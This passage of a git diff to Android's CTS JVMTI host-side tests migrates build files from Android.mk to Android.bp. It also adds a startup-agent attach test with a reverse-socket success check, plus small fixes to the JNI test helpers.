-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiAttachingHostTestCases
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/host/AndroidTest.xml b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
index 710b751..5972229 100644
--- a/hostsidetests/jvmti/attaching/host/AndroidTest.xml
+++ b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI Attaching test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
index 9269a27..059091f 100644
--- a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -25,10 +25,16 @@
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.ArrayUtil;
 import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.IRunUtil;
+import com.android.tradefed.util.RunUtil;
 import com.android.tradefed.util.ZipUtil;
 
+import java.io.DataInputStream;
 import java.io.File;
+import java.net.ServerSocket;
+import java.net.Socket;
 import java.util.concurrent.TimeUnit;
 import java.util.zip.ZipFile;
 
@@ -67,6 +73,10 @@
 
     private final static String AGENT = "libctsjvmtiattachagent.so";
 
+    private final static String STARTUP_AGENT_DIR = "code_cache/startup_agents";
+
+    private static String REMOTE_SOCKET_NAME = "CtsJvmtiAttachingHostTestCases_SOCKET";
+
     @Override
     protected void setUp() throws Exception {
         mCurrentUser = getDevice().getCurrentUser();
@@ -109,6 +119,35 @@
         });
     }
 
+    public void testJvmtiAgentStartupAgents() throws Exception {
+        runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
+            String startup_dir = null;
+            try {
+                startup_dir = getPwd(device, pkg) + "/" + STARTUP_AGENT_DIR;
+                device.executeShellCommand(
+                        "run-as " + pkg + " --user " + mCurrentUser + " mkdir -p " + startup_dir);
+            } catch (Exception e) {
+                throw new RuntimeException("Failed to install startup-agents");
+            }
+            try {
+                installLibToDataData(device, pkg, abiName, apk, startup_dir, AGENT, AGENT);
+                // Run and check attach occurs.
+                runAttachTestCmd(device, pkg, "");
+                runAttachTestCmd(device, pkg, "");
+            } catch (Exception e) {
+                throw new RuntimeException("Failed startup_agents attaching", e);
+            } finally {
+                try {
+                    // Cleanup the startup-agents directory
+                    device.executeShellCommand(
+                            "run-as " + pkg + " --user " + mCurrentUser + " rm -rf " + startup_dir);
+                } catch (Exception e) {
+                    throw new RuntimeException("Failed to clean up " + startup_dir, e);
+                }
+            }
+        });
+    }
+
     public void testJvmtiAgentAppInternal() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
@@ -132,16 +171,7 @@
     public void testJvmtiAgentAppExternal() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
-                String pwd = device.executeShellCommand(
-                        "run-as " + pkg + " --user " + mCurrentUser + " pwd");
-                if (pwd == null) {
-                    throw new RuntimeException("pwd failed");
-                }
-                pwd = pwd.trim();
-                if (pwd.isEmpty()) {
-                    throw new RuntimeException("pwd failed");
-                }
-
+                String pwd = getPwd(device, pkg);
                 // Give it a different name, so we do not have "contamination" from
                 // the test APK.
                 String libInDataData = AGENT.substring(0, AGENT.length() - ".so".length())
@@ -167,6 +197,19 @@
         });
     }
 
+    private String getPwd(ITestDevice device, String pkg) throws Exception {
+        String pwd = device.executeShellCommand(
+                "run-as " + pkg + " --user " + mCurrentUser + " pwd");
+        if (pwd == null) {
+            throw new RuntimeException("pwd failed");
+        }
+        pwd = pwd.trim();
+        if (pwd.isEmpty()) {
+            throw new RuntimeException("pwd failed");
+        }
+        return pwd;
+    }
+
     private void runJvmtiAgentLoadTest(TestRun runner) throws Exception {
         final ITestDevice device = getDevice();
 
@@ -187,6 +230,11 @@
             throw new IllegalStateException("Incorrect configuration");
         }
 
+        // Wakeup the device if it is on the lockscreen and move it to the home screen.
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        device.executeShellCommand("wm dismiss-keyguard");
+        device.executeShellCommand("input keyevent KEYCODE_HOME");
+
         runner.run(device, mTestPackageName, mTestApk, mAbi.getName());
     }
 
@@ -198,13 +246,33 @@
 
     private static void runAttachTestCmd(ITestDevice device, String pkg, String agentParams)
             throws Exception {
-        String attachCmd = "cmd activity start -S -W " + agentParams + " -n " + pkg
-                + "/android.jvmti.JvmtiActivity";
+        // Get a reverse socket setup
+        try (final ServerSocket ss = new ServerSocket(0)) {
+            device.executeAdbCommand(
+                    "reverse", "localabstract:" + REMOTE_SOCKET_NAME, "tcp:" + ss.getLocalPort());
+            String attachCmd = "cmd activity start -S -W " + agentParams + " -n " + pkg
+                    + "/android.jvmti.JvmtiActivity";
 
-        // Don't try to parse the output. The test will time out anyways if this didn't
-        // work.
-        device.executeShellCommand(attachCmd, NullOutputReceiver.getReceiver(), 10,
-                TimeUnit.SECONDS, 1);
+            // Don't try to parse the output. We'll get data from the socket or a timeout if it
+            // didn't start.
+            device.executeShellCommand(attachCmd, NullOutputReceiver.getReceiver(), 10,
+                  TimeUnit.SECONDS, 1);
+            // Wait for startup up to 30 seconds.
+            ss.setSoTimeout(30000);
+            try (Socket s = ss.accept()) {
+                DataInputStream dis = new DataInputStream(s.getInputStream());
+                String res = dis.readUTF();
+                s.shutdownInput();
+                s.shutdownOutput();
+                if (!res.trim().equals("SUCCESS")) {
+                    throw new RuntimeException("Failed test due to remote error: " + res);
+                }
+            } catch (Exception e) {
+                throw new RuntimeException("Failed to read output", e);
+            }
+        } finally {
+            device.executeAdbCommand("reverse", "--remove", "localabstract:" + REMOTE_SOCKET_NAME);
+        }
     }
 
     private String installLibToDataData(ITestDevice device, String pkg, String abiName,
diff --git a/hostsidetests/jvmti/base/Android.mk b/hostsidetests/jvmti/base/Android.mk
deleted file mode 100644
index 38e1a4f..0000000
--- a/hostsidetests/jvmti/base/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/base/app/Android.bp b/hostsidetests/jvmti/base/app/Android.bp
new file mode 100644
index 0000000..d67e9f9
--- /dev/null
+++ b/hostsidetests/jvmti/base/app/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsJvmtiDeviceAppBase",
+    srcs: ["**/*.java"],
+    sdk_version: "test_current",
+    dex_preopt: {
+        enabled: false,
+    },
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/jvmti/base/app/Android.mk b/hostsidetests/jvmti/base/app/Android.mk
deleted file mode 100644
index 5d75568..0000000
--- a/hostsidetests/jvmti/base/app/Android.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE := CtsJvmtiDeviceAppBase
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_SDK_VERSION := current
-LOCAL_DEX_PREOPT := false
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/host/Android.bp b/hostsidetests/jvmti/base/host/Android.bp
new file mode 100644
index 0000000..5ea9747
--- /dev/null
+++ b/hostsidetests/jvmti/base/host/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_host {
+    name: "CtsJvmtiHostTestBase",
+    srcs: ["**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+
+}
diff --git a/hostsidetests/jvmti/base/host/Android.mk b/hostsidetests/jvmti/base/host/Android.mk
deleted file mode 100644
index 154845b..0000000
--- a/hostsidetests/jvmti/base/host/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index c7ceba6..0fee0ec 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -57,6 +57,12 @@
             mandatory = true)
     private String mTestApk = null;
 
+    @Option(name = "hidden-api-checks",
+            description = "If we should enable hidden api checks. Default 'true'. Set to 'false' " +
+            "to disable hiddenapi.",
+            mandatory = false)
+    private String mHiddenApiChecksEnabled = null;
+
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
     private int mCurrentUser;
@@ -96,17 +102,39 @@
             throw new IllegalStateException("Incorrect configuration");
         }
 
-        RemoteAndroidTestRunner runner = new RemoteAndroidTestRunner(mTestPackageName, RUNNER,
-                device.getIDevice());
-        // set a max deadline limit to avoid hanging forever
-        runner.setMaxTimeToOutputResponse(2, TimeUnit.MINUTES);
+        if (null != mHiddenApiChecksEnabled &&
+            !"false".equals(mHiddenApiChecksEnabled) &&
+            !"true".equals(mHiddenApiChecksEnabled)) {
+          throw new IllegalStateException(
+              "option hidden-api-checks must be 'true' or 'false' if present.");
+        }
+        boolean disable_hidden_api =
+            mHiddenApiChecksEnabled != null && "false".equals(mHiddenApiChecksEnabled);
+        String old_hiddenapi_setting = null;
+        if (disable_hidden_api) {
+            old_hiddenapi_setting = device.getSetting("global", "hidden_api_policy");
+            device.setSetting("global", "hidden_api_policy", "1");
+        }
 
-        TestResults tr = new TestResults(new AttachAgent(device, mTestPackageName, mTestApk));
+        try {
+            RemoteAndroidTestRunner runner = new RemoteAndroidTestRunner(mTestPackageName, RUNNER,
+                    device.getIDevice());
+            // set a max deadline limit to avoid hanging forever
+            runner.setMaxTimeToOutputResponse(5, TimeUnit.MINUTES);
 
-        device.runInstrumentationTests(runner, tr);
+            AttachAgent aa = new AttachAgent(device, mTestPackageName, mTestApk);
+            aa.prepare();
+            TestResults tr = new TestResults(aa);
 
-        assertTrue(tr.getErrors(), tr.hasStarted());
-        assertFalse(tr.getErrors(), tr.hasFailed());
+            device.runInstrumentationTests(runner, tr);
+
+            assertTrue(tr.getErrors(), tr.hasStarted());
+            assertFalse(tr.getErrors(), tr.hasFailed());
+        } finally {
+            if (disable_hidden_api) {
+                device.setSetting("global", "hidden_api_policy", old_hiddenapi_setting);
+            }
+        }
     }
 
     private String getDeviceBaseArch(ITestDevice device) throws Exception {
@@ -120,14 +148,15 @@
         private String mPkg;
         private String mApk;
 
+        private String mAgentInDataData;
+
         public AttachAgent(ITestDevice device, String pkg, String apk) {
             this.mDevice = device;
             this.mPkg = pkg;
             this.mApk = apk;
         }
 
-        @Override
-        public void run() {
+        public void prepare() {
             try {
                 String pwd = mDevice.executeShellCommand(
                         "run-as " + mPkg + " --user " + mCurrentUser + " pwd");
@@ -139,9 +168,19 @@
                     throw new RuntimeException("pwd failed");
                 }
 
-                String agentInDataData = installLibToDataData(pwd, "libctsjvmtiagent.so");
+                mAgentInDataData = installLibToDataData(pwd, "libctsjvmtiagent.so");
+            } catch (Exception e) {
+                throw new RuntimeException("Failed installing", e);
+            }
+        }
 
-                String attachCmd = "cmd activity attach-agent " + mPkg + " " + agentInDataData;
+        @Override
+        public void run() {
+            try {
+                if (mAgentInDataData == null) {
+                    throw new IllegalStateException("prepare() has not been called");
+                }
+                String attachCmd = "cmd activity attach-agent " + mPkg + " " + mAgentInDataData;
                 String attachReply = mDevice.executeShellCommand(attachCmd);
                 // Don't try to parse the output. The test will time out anyways if this didn't
                 // work.
@@ -153,7 +192,7 @@
             }
         }
 
-        String installLibToDataData(String dataData, String library) throws Exception {
+        private String installLibToDataData(String dataData, String library) throws Exception {
             ZipFile zf = null;
             File tmpFile = null;
             String libInTmp = null;
diff --git a/hostsidetests/jvmti/base/jni/redefine.cpp b/hostsidetests/jvmti/base/jni/redefine.cpp
index 1a044ca..e75f2d5 100644
--- a/hostsidetests/jvmti/base/jni/redefine.cpp
+++ b/hostsidetests/jvmti/base/jni/redefine.cpp
@@ -118,14 +118,14 @@
   std::vector<unsigned char> dex_data;
   if (data.RetrieveRedefinition(name_str, &dex_data)) {
     unsigned char* jvmti_dex_data;
-    if (JVMTI_ERROR_NONE != local_jvmti_env->Allocate(dex_data.size(), &jvmti_dex_data)) {
+    if (JVMTI_ERROR_NONE == local_jvmti_env->Allocate(dex_data.size(), &jvmti_dex_data)) {
+      memcpy(jvmti_dex_data, dex_data.data(), dex_data.size());
+      *new_class_data_len = dex_data.size();
+      *new_class_data = jvmti_dex_data;
+      data.PopRedefinition(name);
+    } else {
       LOG(FATAL) << "Unable to allocate output buffer for " << name;
-      return;
     }
-    memcpy(jvmti_dex_data, dex_data.data(), dex_data.size());
-    *new_class_data_len = dex_data.size();
-    *new_class_data = jvmti_dex_data;
-    data.PopRedefinition(name);
   }
 }
 
diff --git a/hostsidetests/jvmti/base/jni/tagging.cpp b/hostsidetests/jvmti/base/jni/tagging.cpp
index 35d83d7..8a19b28 100644
--- a/hostsidetests/jvmti/base/jni/tagging.cpp
+++ b/hostsidetests/jvmti/base/jni/tagging.cpp
@@ -113,17 +113,21 @@
   }
 
   auto callback = [&](jint i) -> jobject {
+    jobject ret = nullptr;
     switch(i) {
       case 0:
-        return resultObjectArray;
+        ret = resultObjectArray;
+        break;
       case 1:
-        return resultTagArray;
+        ret = resultTagArray;
+        break;
       case 2:
-        return count_integer;
+        ret = count_integer;
+        break;
       default:
         LOG(FATAL) << "Unexpected";
-        return nullptr;
     }
+    return ret;
   };
   return CreateObjectArray(env, 3, "java/lang/Object", callback);
 }
diff --git a/hostsidetests/jvmti/base/jni/tracking.cpp b/hostsidetests/jvmti/base/jni/tracking.cpp
index 425fd63..5474319 100644
--- a/hostsidetests/jvmti/base/jni/tracking.cpp
+++ b/hostsidetests/jvmti/base/jni/tracking.cpp
@@ -86,6 +86,17 @@
     std::unique_lock<std::mutex> mu(gLock);
     result.swap(gCollection);
   }
+  // Make sure we give any other threads that might have been waiting to get a last crack time to
+  // run. We will ignore their additions however.
+  bool is_empty = false;
+  do {
+    {
+      std::unique_lock<std::mutex> mu(gLock);
+      is_empty = gCollection.empty();
+      gCollection.clear();
+    }
+    sched_yield();
+  } while (!is_empty);
 
   if (result.empty()) {
     return nullptr;
diff --git a/hostsidetests/jvmti/base/run-test-based-app/Android.bp b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
new file mode 100644
index 0000000..2894435
--- /dev/null
+++ b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsJvmtiDeviceRunTestAppBase",
+
+    // We explicitly enumerate, as we have a definition of art.Main to simplify development
+    // in an IDE (but want the implementation of said class to come from the ART run-tests).
+    srcs: [
+        "src/android/jvmti/cts/JvmtiRunTestBasedTest.java",
+        ":art_cts_jvmti_test_library",
+    ],
+    sdk_version: "test_current",
+    dex_preopt: {
+        enabled: false,
+    },
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "CtsJvmtiDeviceAppBase",
+        "expected_cts_outputs",
+    ],
+    optimize: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/jvmti/base/run-test-based-app/Android.mk b/hostsidetests/jvmti/base/run-test-based-app/Android.mk
deleted file mode 100644
index f1fa480..0000000
--- a/hostsidetests/jvmti/base/run-test-based-app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE := CtsJvmtiDeviceRunTestAppBase
-
-# We explicitly enumerate, as we have a definition of art.Main to simplify development
-# in an IDE (but want the implementation of said class to come from the ART run-tests).
-LOCAL_SRC_FILES := \
-  src/android/jvmti/cts/JvmtiRunTestBasedTest.java \
-
-LOCAL_SDK_VERSION := current
-LOCAL_DEX_PREOPT := false
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
-LOCAL_STATIC_JAVA_LIBRARIES += run-test-jvmti-java
-LOCAL_PROGUARD_ENABLED := disabled
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/host_side.mk b/hostsidetests/jvmti/host_side.mk
deleted file mode 100644
index 708d170..0000000
--- a/hostsidetests/jvmti/host_side.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This file is meant to be included for every host-side test case to
-# have common build system code.
-#
-# For example:
-#
-#   LOCAL_PATH := $(call my-dir)
-#
-#   include $(CLEAR_VARS)
-#
-#   LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
-#
-#   include $(LOCAL_PATH)/../host_side.mk
-#
-
-
-ifndef LOCAL_PATH
-  $(error LOCAL_PATH not defined)
-endif
-ifndef LOCAL_MODULE
-  $(error LOCAL_MODULE not defined)
-endif
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/hostsidetests/jvmti/redefining/Android.bp b/hostsidetests/jvmti/redefining/Android.bp
new file mode 100644
index 0000000..6de0131
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRedefineClassesHostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRedefineClassesDeviceApp"],
+}
diff --git a/hostsidetests/jvmti/redefining/Android.mk b/hostsidetests/jvmti/redefining/Android.mk
deleted file mode 100644
index a5c0f07..0000000
--- a/hostsidetests/jvmti/redefining/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRedefineClassesHostTestCases
-
-include $(LOCAL_PATH)/../host_side.mk
diff --git a/hostsidetests/jvmti/redefining/AndroidTest.xml b/hostsidetests/jvmti/redefining/AndroidTest.xml
index 1d04cb9..a7d8d669 100644
--- a/hostsidetests/jvmti/redefining/AndroidTest.xml
+++ b/hostsidetests/jvmti/redefining/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/redefining/OWNERS b/hostsidetests/jvmti/redefining/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/redefining/app/Android.bp b/hostsidetests/jvmti/redefining/app/Android.bp
new file mode 100644
index 0000000..f6eaa91
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/app/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRedefineClassesDeviceApp",
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: ["CtsJvmtiDeviceAppBase"],
+    jni_libs: ["libctsjvmtiagent"],
+    compile_multilib: "both",
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/jvmti/redefining/app/Android.mk b/hostsidetests/jvmti/redefining/app/Android.mk
deleted file mode 100644
index 62e401c..0000000
--- a/hostsidetests/jvmti/redefining/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing ever changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRedefineClassesDeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/Android.bp b/hostsidetests/jvmti/run-tests/Android.bp
new file mode 100644
index 0000000..63e2bf7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_defaults {
+    name: "cts-run-jvmti-defaults",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: ["CtsJvmtiDeviceRunTestAppBase"],
+    jni_libs: ["libctsjvmtiagent"],
+    compile_multilib: "both",
